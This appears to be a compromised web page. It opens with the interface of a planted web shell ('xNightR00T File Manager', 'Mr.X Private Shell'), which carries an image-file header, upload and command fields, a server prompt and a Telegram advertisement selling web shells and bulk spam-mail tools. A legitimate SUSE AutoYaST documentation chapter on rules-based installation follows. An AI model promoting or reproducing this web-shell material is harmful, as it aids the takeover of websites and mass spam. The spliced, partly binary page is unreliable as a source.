xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="" xml:lang=""><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Rules and Classes | AutoYaST | SUSE Linux Enterprise Server 12 SP1</title><meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" /><link rel="stylesheet" type="text/css" href="static/css/style.css" /><meta name="generator" content="DocBook XSL Stylesheets V1.78.1" /><meta name="product-name" content="SUSE Linux Enterprise Server" /><meta name="product-number" content="12 SP1" /><meta name="book-title" content="AutoYaST" /><meta name="chapter-title" content="Chapter 5. Rules and Classes" />
<!-- Tracker --><meta name="tracker-url" content="https://bugzilla.suse.com/enter_bug.cgi" /><meta name="tracker-type" content="bsc" /><meta name="tracker-bsc-assignee" content="fs@suse.com" /><meta name="tracker-bsc-component" content="Documentation" /><meta name="tracker-bsc-product" content="SUSE Linux Enterprise Server 12 SP1" /><!-- /Tracker --><link rel="home" href="index.html" title="SUSE Linux Enterprise Server Documentation" /><link rel="up" href="book.autoyast.html" title="AutoYaST" /><link rel="prev" href="configuration.html" title="Chapter 4. Configuration and Installation Options" /><link rel="next" href="Invoking.html" title="Chapter 6. The Auto-Installation Process" /><script type="text/javascript">

var protocol = window.location.protocol.toLowerCase();
if ( protocol != 'file:' ) {
  var agent = navigator.userAgent.toLowerCase();
  var wanted = ( protocol == 'https:') ? 'https' : 'http';
  var file = 'fonts.css';
  if (agent.indexOf('android') != -1 && agent.indexOf('chrom') != -1 ) {
      file = 'fonts-nolocal.css';
  }
  document.write('<link rel="stylesheet" type="text/css" href="' + wanted + '://static.opensuse.org/fonts/'+ file +'"></link>');
}
else {
   document.write('<link rel="stylesheet" type="text/css" href="static/css/fonts-onlylocal.css"></link>');
}

</script><noscript><link rel="stylesheet" type="text/css" href="http://static.opensuse.org/fonts/fonts.css" /></noscript><script src="static/js/jquery-1.10.2.min.js" type="text/javascript"></script><script src="static/js/script.js" type="text/javascript"></script></head><body class="offline js-off"><div id="_outer-wrap"><div id="_white-bg"><div id="_header"><div id="_logo"><img src="static/images/logo.png" alt="Logo" /></div><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="rulesandclass.html">Rules and Classes</a></div><div class="clearme"></div></div></div><div id="_toolbar-wrap"><div id="_toolbar"><div id="_toc-area" class="inactive"><a id="_toc-area-button" class="tool" title="Contents" accesskey="c" href="index.html"><span class="tool-spacer"><span class="toc-icon">Contents</span><span class="clearme"></span></span><span class="tool-label">Contents</span></a><div class="active-contents bubble-corner"></div><div class="active-contents bubble"><div class="bubble-container"><h6>AutoYaST</h6><div id="_bubble-toc"><ol><li class="inactive"><a href="introduction.html"><span class="number">1 </span><span class="name">Introduction</span></a></li><li class="inactive"><a href="Profile.html"><span class="number">2 </span><span class="name">The Control File</span></a></li><li class="inactive"><a href="CreateProfile.html"><span class="number">3 </span><span class="name">Creating A Control File</span></a></li><li class="inactive"><a href="configuration.html"><span class="number">4 </span><span class="name">Configuration and Installation Options</span></a></li><li class="inactive"><a href="rulesandclass.html"><span class="number">5 </span><span class="name">Rules and Classes</span></a></li><li class="inactive"><a href="Invoking.html"><span class="number">6 </span><span class="name">The Auto-Installation Process</span></a></li><li class="inactive"><a href="handlingrules.html"><span class="number">A </span><span class="name">Handling Rules</span></a></li><li class="inactive"><a href="appendix.linuxrc.html"><span class="number">B </span><span class="name">Advanced Linuxrc Options</span></a></li><li class="inactive"><a href="app.ay.docupdates.html"><span class="number">C </span><span class="name">Documentation Updates</span></a></li><li class="inactive"><a href="bk04apd.html"><span class="number">D </span><span class="name">GNU Licenses</span></a></li></ol></div><div class="clearme"></div></div></div></div><div id="_nav-area" class="inactive"><div class="tool"><span class="nav-inner"><span class="tool-label">Navigation</span><a accesskey="p" class="tool-spacer" title="Chapter 4. Configuration and Installation Options" href="configuration.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Chapter 6. The Auto-Installation Process" href="Invoking.html"><span class="next-icon">→</span></a></span></div></div></div></div><div id="_fixed-header-wrap" class="inactive"><div id="_fixed-header"><div class="crumbs"><a class="book-link" href="index.html" title="SUSE Linux Enterprise Server Documentation"><span class="book-icon">SUSE Linux Enterprise Server Documentation</span></a><span> › </span><a class="crumb" href="book.autoyast.html">AutoYaST</a><span> › </span><a class="crumb" href="rulesandclass.html">Rules and Classes</a></div><div class="buttons"><a class="top-button button" href="#">Top</a><div class="button"><a accesskey="p" class="tool-spacer" title="Chapter 4. Configuration and Installation Options" href="configuration.html"><span class="prev-icon">←</span></a><a accesskey="n" class="tool-spacer" title="Chapter 6. The Auto-Installation Process" href="Invoking.html"><span class="next-icon">→</span></a></div><div class="clearme"></div></div><div class="clearme"></div></div></div><div id="_content" class=""><div class="documentation"><div class="chapter " id="rulesandclass"><div class="titlepage"><div><div class="version-info">Applies to  <span class="productname"><span class="productname"><span class="phrase">SUSE Linux Enterprise Server</span></span></span> <span class="productnumber"><span class="productnumber"><span class="phrase">12 SP1</span></span></span></div><div><h1 class="title"><span class="number">5 </span><span class="name">Rules and Classes</span> </h1></div></div></div><div class="line"><div class="toc"><dl><dt><span class="sect1"><a href="rulesandclass.html#rules"><span class="number">5.1 </span><span class="name">Rules-based Automatic Installation</span></a></span></dt><dt><span class="sect1"><a href="rulesandclass.html#classes"><span class="number">5.2 </span><span class="name">Classes</span></a></span></dt><dt><span class="sect1"><a href="rulesandclass.html#mixinfrulesclasses"><span class="number">5.3 </span><span class="name">Mixing Rules and Classes</span></a></span></dt><dt><span class="sect1"><a href="rulesandclass.html#merging"><span class="number">5.4 </span><span class="name">Merging of Rules and Classes</span></a></span></dt></dl></div></div><p></p><div class="sect1 " id="rules"><div class="titlepage"><div><div><h2 class="title" id="rules"><span class="number">5.1 </span><span class="name">Rules-based Automatic Installation</span> <a title="Permalink" class="permalink" href="rulesandclass.html#rules">#</a></h2></div></div></div><p>
    Rules offer the possibility to configure a system depending on system
    attributes by merging multiple control files during installation. The
    rules-based installation is controlled by a rules file. This is useful
    to install, for example, systems in two departments in one go. Assume a
    scenario where machines in department A need to be installed as office
    desktops, whereas machines in department B need to be installed as
    developer workstations. You would create a rules file with two different
    rules. For each rule, you could use different system parameters to
    distinguish the installations from one another. Each rule would also
    contain a link to an appropriate profile for each department.
   </p><p>
    The rules file is an XML file containing rules for each group of systems
    (or single systems) that you want to automatically install. A set of
    rules distinguish a group of systems based on one or more system
    attributes. After passing all rules, each group of systems is linked to
    a control file. Both the rules file and the control files must be
    located in a pre-defined and accessible location.
   </p><p>
    The rules file is retrieved only if no specific control file is supplied
    using the <code class="literal">autoyast</code> keyword. For example, if the
    following is used, the rules file will not be evaluated:
   </p><div class="verbatim-wrap"><pre class="screen">autoyast=http://10.10.0.1/profile/myprofile.xml
autoyast=http://10.10.0.1/profile/rules/rules.xml</pre></div><p>
    Instead use:
   </p><div class="verbatim-wrap"><pre class="screen">autoyast=http://10.10.0.1/profile/</pre></div><p>
    which will load
    <code class="literal">http://10.10.0.1/profile/rules/rules.xml</code> (the slash
    at the end of the directory name is important).
   </p><div class="figure" id="rules_fig1"><div class="figure-contents"><div class="mediaobject"><a xmlns="" href="images/autoyast_rules.png"><img src="images/autoyast_rules.png" width="" alt="Rules" /></a></div></div><div class="figure-title-wrap"><h6 class="figure-title"><span class="number">Figure 5.1: </span><span class="name">Rules </span><a title="Permalink" class="permalink" href="rulesandclass.html#rules_fig1">#</a></h6></div></div><p>
    If more than one rule applies, the final control file for each group is
    generated on the fly using a merge script. The merging process is based
    on the order of the rules and later rules override configuration data in
    earlier rules. Note that the names of the top sections in the merged xml
    files need to be in alphabetical order for the merge to succeed.
   </p><p>
    The use of a rules file is optional. If the rules file is not found,
    system installation proceeds in the classic way by only using the
    supplied control file or by searching for the control file depending on
    the MAC or the IP address of the system.
   </p><div class="sect2 " id="rulesfile"><div class="titlepage"><div><div><h3 class="title" id="rulesfile"><span class="number">5.1.1 </span><span class="name">Rules File Explained</span> <a title="Permalink" class="permalink" href="rulesandclass.html#rulesfile">#</a></h3></div></div></div><div class="complex-example"><div class="example" id="idm140013830691792"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 5.1: </span><span class="name">Simple Rules File </span><a title="Permalink" class="permalink" href="rulesandclass.html#idm140013830691792">#</a></h6></div><div class="example-contents"><p>
      The following simple example illustrates how the rules file is used to
      retrieve the configuration for a client with known hardware.
     </p><div class="verbatim-wrap"><pre class="screen">&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE autoinstall&gt;
&lt;autoinstall xmlns="http://www.suse.com/1.0/yast2ns" xmlns:config="http://www.suse.com/1.0/configns"&gt;
  &lt;rules config:type="list"&gt;
    &lt;rule&gt;
       &lt;disksize&gt;
            &lt;match&gt;/dev/sdc 1000&lt;/match&gt;
            &lt;match_type&gt;greater&lt;/match_type&gt;
       &lt;/disksize&gt;
       &lt;result&gt;
            &lt;profile&gt;department_a.xml&lt;/profile&gt;
            &lt;continue config:type="boolean"&gt;false&lt;/continue&gt;
        &lt;/result&gt;
    &lt;/rule&gt;
    &lt;rule&gt;
       &lt;disksize&gt;
            &lt;match&gt;/dev/sda 1000&lt;/match&gt;
            &lt;match_type&gt;greater&lt;/match_type&gt;
       &lt;/disksize&gt;
       &lt;result&gt;
            &lt;profile&gt;department_b.xml&lt;/profile&gt;
            &lt;continue config:type="boolean"&gt;false&lt;/continue&gt;
        &lt;/result&gt;
    &lt;/rule&gt;
  &lt;/rules&gt;
&lt;/autoinstall&gt;</pre></div></div></div></div><p>
     The last example defines two rules and provides a different control
     file for every rule. The rule used in this case is
     <code class="literal">disksize</code>. After parsing the rules file, YaST
     attempts to match the target system with the rules in the
     <code class="filename">rules.xml</code> file. A rule match occurs when the
     target system matches all system attributes defined in the rule. As
     soon as the system matches a rule, the respective resource is added to
     the stack of control files AutoYaST will use to create the final control
     file. The <code class="literal">continue</code> property tells AutoYaST whether it
     should continue with other rules after a match has been found.
    </p><p>
     If the first rule does not match, the next rule in the list is examined
     until a match is found.
    </p><p>
     Using the <code class="literal">disksize</code> attribute, you can provide
     different configurations for systems with hard disks of different
     sizes. The first rule checks if the device
     <code class="filename">/dev/sdc</code> is available and if it is greater than 1
     GB in size using the <code class="literal">match</code> property.
    </p><p>
     A rule must have at least one attribute to be matched. If you need to
     check more attributes, such as memory or architectures, you can add
     more attributes in the rule resource as shown in the next example.
    </p><div class="complex-example"><div class="example" id="idm140013830683568"><div class="example-title-wrap"><h6 class="example-title"><span class="number">Example 5.2: </span><span class="name">Simple Rules File </span><a title="Permalink" class="permalink" href="rulesandclass.html#idm140013830683568">#</a></h6></div><div class="example-contents"><p>
      The following example illustrates how the rules file is used to
      retrieve the configuration for a client with known hardware.
     </p><div class="verbatim-wrap"><pre class="screen">&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE autoinstall&gt; 
&lt;autoinstall xmlns="http://www.suse.com/1.0/yast2ns" xmlns:config="http://www.suse.com/1.0/configns"&gt;
  &lt;rules config:type="list"&gt;
    &lt;rule&gt;
       &lt;disksize&gt;
            &lt;match&gt;/dev/sdc 1000&lt;/match&gt;
            &lt;match_type&gt;greater&lt;/match_type&gt;
       &lt;/disksize&gt;
       &lt;memsize&gt;	    
            &lt;match&gt;1000&lt;/match&gt;
            &lt;match_type&gt;greater&lt;/match_type&gt;
       &lt;/memsize&gt;
       &lt;result&gt;
            &lt;profile&gt;department_a.xml&lt;/profile&gt;
            &lt;continue config:type="boolean"&gt;false&lt;/continue&gt;
        &lt;/result&gt;
    &lt;/rule&gt;
    &lt;rule&gt;
       &lt;disksize&gt;
            &lt;match&gt;/dev/shda 1000&lt;/match&gt;
            &lt;match_type&gt;greater&lt;/match_type&gt;
       &lt;/disksize&gt;
       &lt;memsize&gt;	    
            &lt;match&gt;256&lt;/match&gt;
            &lt;match_type&gt;greater&lt;/match_type&gt;
       &lt;/memsize&gt;
       &lt;result&gt;
            &lt;profile&gt;department_b.xml&lt;/profile&gt;
            &lt;continue config:type="boolean"&gt;false&lt;/continue&gt;
        &lt;/result&gt;
    &lt;/rule&gt;
  &lt;/rules&gt;
&lt;/autoinstall&gt;</pre></div></div></div></div><p>
     The rules directory must be located in the same directory specified via
     the <code class="literal">autoyast</code> keyword at boot time. If the client was
     booted using <code class="literal">autoyast=http://10.10.0.1/profiles/</code>,
     AutoYaST will search for the rules file at
     http://10.10.0.1/profiles/rules/rules.xml.
    </p></div><div class="sect2 " id="customrules"><div class="titlepage"><div><div><h3 class="title" id="customrules"><span class="number">5.1.2 </span><span class="name">Custom Rules</span> <a title="Permalink" class="permalink" href="rulesandclass.html#customrules">#</a></h3></div></div></div><p>
     If the attributes AutoYaST provides for rules are not enough for your
     purposes, use custom rules. Custom rules contain a shell script. The
     output of the script (STDOUT, STDERR is ignored) can be evaluated.
    </p><p>
     Here is an example for the use of custom rules:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;rule&gt;
  &lt;custom1&gt;
    &lt;script&gt;
if grep -i intel /proc/cpuinfo &gt; /dev/null; then
echo -n "intel"
else
echo -n "non_intel"
fi;
    &lt;/script&gt;
    &lt;match&gt;*&lt;/match&gt;
    &lt;match_type&gt;exact&lt;/match_type&gt;
  &lt;/custom1&gt;
  &lt;result&gt;
    &lt;profile&gt;@custom1@.xml&lt;/profile&gt;
    &lt;continue config:type="boolean"&gt;true&lt;/continue&gt;
  &lt;/result&gt;
&lt;/rule&gt;</pre></div><p>
     The script in this rule can echo either <code class="literal">intel</code> or
     <code class="literal">non_intel</code> to STDOUT (the output of the grep command
     must be directed to /dev/null in this case). The output of the rule
     script will be filled between the two '@' characters, to determine the
     file name of the control file to fetch. AutoYaST will read the output and
     fetch a file with the name <code class="filename">intel.xml</code> or
     <code class="filename">non_intel.xml</code>. This file can contain the AutoYaST
     profile part for the software selection, for example, in case you want
     a different software selection on intel hardware than on others.
    </p><p>
     The number of custom rules is limited to five. So you can use
     <code class="literal">custom1</code> to <code class="literal">custom5</code>.
    </p></div><div class="sect2 " id="matchtypes"><div class="titlepage"><div><div><h3 class="title" id="matchtypes"><span class="number">5.1.3 </span><span class="name">Match Types for Rules</span> <a title="Permalink" class="permalink" href="rulesandclass.html#matchtypes">#</a></h3></div></div></div><p>
     You can use five different match_types:
    </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
       <code class="literal">exact</code> (default)
      </p></li><li class="listitem "><p>
       <code class="literal">greater</code>
      </p></li><li class="listitem "><p>
       <code class="literal">lower</code>
      </p></li><li class="listitem "><p>
       <code class="literal">range</code>
      </p></li><li class="listitem "><p>
       <code class="literal">regex</code> (a simple <code class="literal">=~</code> operator
       like in Bash)
      </p></li></ul></div><p>
     If using <code class="literal">exact</code>, the string must match exactly as
     specified. <code class="literal">regex</code> can be used to match substrings
     like <code class="literal">ntel</code> will match Intel, intel and intelligent.
     <code class="literal">greater</code> and <code class="literal">lower</code> can be used for
     <code class="literal">memsize</code> or <code class="literal">totaldisk</code> for example. They can match only with rules that
     return an integer value. A range is only possible for integer values
     too and has the form of <code class="literal">value1-value2</code>, for example
     <code class="literal">512-1024</code>.
    </p></div><div class="sect2 " id="rulescombination"><div class="titlepage"><div><div><h3 class="title" id="rulescombination"><span class="number">5.1.4 </span><span class="name">Combine Attributes</span> <a title="Permalink" class="permalink" href="rulesandclass.html#rulescombination">#</a></h3></div></div></div><p>
     Multiple attributes can be combined via a logical operator. It is
     possible to let a rule match if <code class="literal">disksize</code> is greater than 1GB or <code class="literal">memsize</code>
     is exactly 512MB.
    </p><p>
     You can do this with the <code class="literal">operator</code> element in the
     rules.xml file. <code class="literal">and</code> and <code class="literal">or</code> are
     possible operators, <code class="literal">and</code> being the default. Here is
     an example:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;rule&gt;
  &lt;disksize&gt;
    &lt;match&gt;/dev/sda 1000&lt;/match&gt;
    &lt;match_type&gt;greater&lt;/match_type&gt;
  &lt;/disksize&gt;
  &lt;memsize&gt;	    
    &lt;match&gt;256&lt;/match&gt;
    &lt;match_type&gt;greater&lt;/match_type&gt;
  &lt;/memsize&gt;
  &lt;result&gt;
    &lt;profile&gt;machine2.xml&lt;/profile&gt;
    &lt;continue config:type="boolean"&gt;false&lt;/continue&gt;
  &lt;/result&gt;
  &lt;operator&gt;or&lt;/operator&gt;
&lt;/rule&gt;</pre></div></div><div class="sect2 " id="rulesstructure"><div class="titlepage"><div><div><h3 class="title" id="rulesstructure"><span class="number">5.1.5 </span><span class="name">Rules File Structure</span> <a title="Permalink" class="permalink" href="rulesandclass.html#rulesstructure">#</a></h3></div></div></div><p>
     The <code class="filename">rules.xml</code> file needs to:
    </p><div class="itemizedlist "><ul class="itemizedlist"><li class="listitem "><p>
       have at least one rule,
      </p></li><li class="listitem "><p>
       have the name <code class="filename">rules.xml</code>,
      </p></li><li class="listitem "><p>
       be located in the directory <code class="filename">rules</code> in the profile
       repository,
      </p></li><li class="listitem "><p>
       have at least one attribute to match in the rule.
      </p></li></ul></div></div><div class="sect2 " id="ruleattributes"><div class="titlepage"><div><div><h3 class="title" id="ruleattributes"><span class="number">5.1.6 </span><span class="name">Predefined System Attributes</span> <a title="Permalink" class="permalink" href="rulesandclass.html#ruleattributes">#</a></h3></div></div></div><p>
     The following table lists the predefined system attributes you can
     match in the rules file.
    </p><p>
     If you are unsure about a value on your system, run
     <code class="command">/usr/lib/YaST/bin/y2base ayast_probe ncurses</code>.
     The text box displaying the detected values can be scrolled. Note that
     this command will not work while another YaST process that
     requires a lock (for example the installer) is running. Therefore you
     cannot run it during the installation.
    </p><div class="table" id="idm140013834043136"><div class="table-title-wrap"><h6 class="table-title"><span class="number">Table 5.1: </span><span class="name">System Attributes </span><a title="Permalink" class="permalink" href="rulesandclass.html#idm140013834043136">#</a></h6></div><div class="table-contents"><table summary="System Attributes" border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Values
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">hostaddress</code>
         </p>
        </td><td>
         <p>
          IP address of the host
         </p>
        </td><td>
         <p>
          This attribute must always match exactly.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">host name</code>
         </p>
        </td><td>
         <p>
          The name of the host
         </p>
        </td><td>
         <p>
          This attribute must always match exactly.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">domain</code>
         </p>
        </td><td>
         <p>
          Domain name of host
         </p>
        </td><td>
         <p>
          This attribute must always match exactly.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">installed_product</code>
         </p>
        </td><td>
         <p>
          The name of the product to be installed.
         </p>
        </td><td>
         <p>
          This attribute must always match exactly.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">installed_product_version</code>
         </p>
        </td><td>
         <p>
          The version of the product to be installed.
         </p>
        </td><td>
         <p>
          This attribute must always match exactly.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">network</code>
         </p>
        </td><td>
         <p>
          network address of host
         </p>
        </td><td>
         <p>
          This attribute must always match exactly.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">mac</code>
         </p>
        </td><td>
         <p>
          MAC address of host
         </p>
        </td><td>
         <p>
          This attribute must always match exactly (the MAC addresses should
          have the form <code class="literal">0080c8f6484c</code>).
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">linux</code>
         </p>
        </td><td>
         <p>
          Number of installed Linux partitions on the system
         </p>
        </td><td>
         <p>
          This attribute can be 0 or more.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">others</code>
         </p>
        </td><td>
         <p>
          Number of installed non-Linux partitions on the system
         </p>
        </td><td>
         <p>
          This attribute can be 0 or more.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">xserver</code>
         </p>
        </td><td>
         <p>
          X Server needed for graphic adapter
         </p>
        </td><td>
         <p>
          This attribute must always match exactly.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">memsize</code>
         </p>
        </td><td>
         <p>
          Memory available on host in MBytes
         </p>
        </td><td>
         <p>
          All match types are available.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">totaldisk</code>
         </p>
        </td><td>
         <p>
          Total disk space available on host in MBytes
         </p>
        </td><td>
         <p>
          All match types are available.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">haspcmcia</code>
         </p>
        </td><td>
         <p>
          System has PCMCIA (i.e Laptops)
         </p>
        </td><td>
         <p>
          Exact match required, <code class="literal">1</code> for having PCMCIA or
          <code class="literal">0</code> for not having it.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">hostid</code>
         </p>
        </td><td>
         <p>
          Hex representation of the IP address
         </p>
        </td><td>
         <p>
          Exact match required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">arch</code>
         </p>
        </td><td>
         <p>
          Architecture of host
         </p>
        </td><td>
         <p>
          Exact match required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">karch</code>
         </p>
        </td><td>
         <p>
          Kernel Architecture of host (for example SMP kernel, Xen
          Kernel)
         </p>
        </td><td>
         <p>
          Exact match required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">disksize</code>
         </p>
        </td><td>
         <p>
          Drive device and size
         </p>
        </td><td>
         <p>
          All match types are available.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">product</code>
         </p>
        </td><td>
         <p>
          The hardware product name as specified in SMBIOS
         </p>
        </td><td>
         <p>
          Exact match required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">product_vendor</code>
         </p>
        </td><td>
         <p>
          The hardware vendor as specified in SMBIOS
         </p>
        </td><td>
         <p>
          Exact match required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">board</code>
         </p>
        </td><td>
         <p>
          The system board name as specified in SMBIOS
         </p>
        </td><td>
         <p>
          Exact match required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">board_vendor</code>
         </p>
        </td><td>
         <p>
          The system board vendor as specified in SMBIOS
         </p>
        </td><td>
         <p>
          Exact match required
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">custom1-5</code>
         </p>
        </td><td>
         <p>
          Custom rules using shell scripts
         </p>
        </td><td>
         <p>
          All match types are available.
         </p>
        </td></tr></tbody></table></div></div></div><div class="sect2 " id="rules_dialogs"><div class="titlepage"><div><div><h3 class="title" id="rules_dialogs"><span class="number">5.1.7 </span><span class="name">Rules with Dialogs</span> <a title="Permalink" class="permalink" href="rulesandclass.html#rules_dialogs">#</a></h3></div></div></div><p>
     You can use dialog pop-ups with check boxes to select rules you want
     matched.
    </p><p>
     The elements listed below must be placed within the following XML
     structure in the <code class="filename">rules.xml</code> file:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;rules config:type="list"&gt;
  &lt;rule&gt;
    &lt;dialog&gt;
      ...
    &lt;/dialog&gt;
  &lt;/rule&gt;
&lt;/rules&gt;</pre></div><div class="informaltable"><table border="1"><colgroup><col /><col /><col /></colgroup><thead><tr><th>
         <p>
          Attribute
         </p>
        </th><th>
         <p>
          Values
         </p>
        </th><th>
         <p>
          Description
         </p>
        </th></tr></thead><tbody><tr><td>
         <p>
          <code class="literal">dialog_nr</code>
         </p>
        </td><td>
         <p>
          All rules with the same <code class="literal">dialog_nr</code> are presented
          in the same pop-up dialog. The same <code class="literal">dialog_nr</code>
          can appear in multiple rules.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;dialog_nr config:type="integer"&gt;3&lt;/dialog_nr&gt;</pre></div>
        </td><td>
         <p>
          This element is optional and the default for a missing dialog_nr
          is always <code class="literal">0</code>. If you want to use one pop-up for
          all rules, you do not need to specify the
          <code class="literal">dialog_nr</code>.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">element</code>
         </p>
        </td><td>
         <p>
          Specify a unique ID. Even if you have more than one dialog, you
          must not use the same id twice. Using id <code class="literal">1</code> on
          dialog 1 and id <code class="literal">1</code> on dialog 2 is not supported.
          (This behavior is contrary to the <code class="literal">ask</code> dialog,
          where you can have the same ID for multiple dialogs.)
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;element config:type="integer"&gt;3&lt;/element&gt;</pre></div>
        </td><td>
         <p>
          Optional. If left out, AutoYaST adds its own ids internally. Then
          you cannot specify conflicting rules (see below).
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">title</code>
         </p>
        </td><td>
         <p>
          Caption of the pop-up dialog
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;title&gt;Desktop Selection&lt;/title&gt;</pre></div>
        </td><td>
         <p>
          Optional
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">question</code>
         </p>
        </td><td>
         <p>
          Question shown in the pop-up behind the check box.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;question&gt;GNOME Desktop&lt;/question&gt;</pre></div>
        </td><td>
         <p>
          Optional. If you do not configure a text here, the name of the XML
          file that is triggered by this rule will be shown instead.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">timeout</code>
         </p>
        </td><td>
         <p>
          Timeout in seconds after which the dialog will automatically
          <span class="quote">“<span class="quote">press</span>”</span> the okay button. Useful for a non-blocking
          installation in combination with rules dialogs.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;timeout config:type="integer"&gt;30&lt;/timeout&gt;</pre></div>
        </td><td>
         <p>
          Optional. A missing timeout will stop the installation process
          until the dialog is confirmed by the user.
         </p>
        </td></tr><tr><td>
         <p>
          <code class="literal">conflicts</code>
         </p>
        </td><td>
         <p>
          A list of element ids (rules) that conflict with this rule. If
          this rule matches or is selected by the user, all conflicting
          rules are deselected and disabled in the pop-up. Take care that
          you do not create deadlocks.
         </p>
<div class="verbatim-wrap"><pre class="screen">&lt;conflicts config:type="list"&gt;
  &lt;element config:type="integer"&gt;1&lt;/element&gt;
  &lt;element config:type="integer"&gt;5&lt;/element&gt;
  ...
&lt;/conflicts&gt;</pre></div>
        </td><td>
         <p>
          <code class="literal">optional</code>
         </p>
        </td></tr></tbody></table></div><p>
     Here is an example of how to use dialogs with rules:
    </p><div class="verbatim-wrap"><pre class="screen">&lt;rules config:type="list"&gt;
  &lt;rule&gt;
    &lt;custom1&gt;
      &lt;script&gt;
echo -n 100
      &lt;/script&gt;
      &lt;match&gt;100&lt;/match&gt;
      &lt;match_type&gt;exact&lt;/match_type&gt;
    &lt;/custom1&gt;
    &lt;result&gt;
      &lt;profile&gt;rules/gnome.xml&lt;/profile&gt;
      &lt;continue config:type="boolean"&gt;true&lt;/continue&gt;
    &lt;/result&gt;
    &lt;dialog&gt;
      &lt;element config:type="integer"&gt;0&lt;/element&gt;
      &lt;question&gt;GNOME Desktop&lt;/question&gt;
      &lt;title&gt;Desktop Selection&lt;/title&gt;
      &lt;conflicts config:type="list"&gt;
        &lt;element config:type="integer"&gt;1&lt;/element&gt;
      &lt;/conflicts&gt;
      &lt;dialog_nr config:type="integer"&gt;0&lt;/dialog_nr&gt;
    &lt;/dialog&gt;
  &lt;/rule&gt;
  &lt;rule&gt;
    &lt;custom1&gt;
      &lt;script&gt;
echo -n 100
      &lt;/script&gt;
      &lt;match&gt;101&lt;/match&gt;
      &lt;match_type&gt;exact&lt;/match_type&gt;
    &lt;/custom1&gt;
    &lt;result&gt;
      &lt;profile&gt;rules/gnome.xml&lt;/profile&gt;
      &lt;continue config:type="boolean"&gt;true&lt;/continue&gt;
    &lt;/result&gt;
    &lt;dialog&gt;
      &lt;element config:type="integer"&gt;1&lt;/element&gt;
      &lt;dialog_nr config:type="integer"&gt;0&lt;/dialog_nr&gt;
      &lt;question&gt;Gnome Desktop&lt;/question&gt;
      &lt;conflicts config:type="list"&gt;
        &lt;element config:type="integer"&gt;0&lt;/element&gt;
      &lt;/conflicts&gt;
    &lt;/dialog&gt;
  &lt;/rule&gt;
  &lt;rule&gt;
    &lt;custom1&gt;
      &lt;script&gt;
echo -n 100
      &lt;/script&gt;
      &lt;match&gt;100&lt;/match&gt;
      &lt;match_type&gt;exact&lt;/match_type&gt;
    &lt;/custom1&gt;
    &lt;result&gt;
      &lt;profile&gt;rules/all_the_rest.xml&lt;/profile&gt;
      &lt;continue config:type="boolean"&gt;false&lt;/continue&gt;
    &lt;/result&gt;
  &lt;/rule&gt;
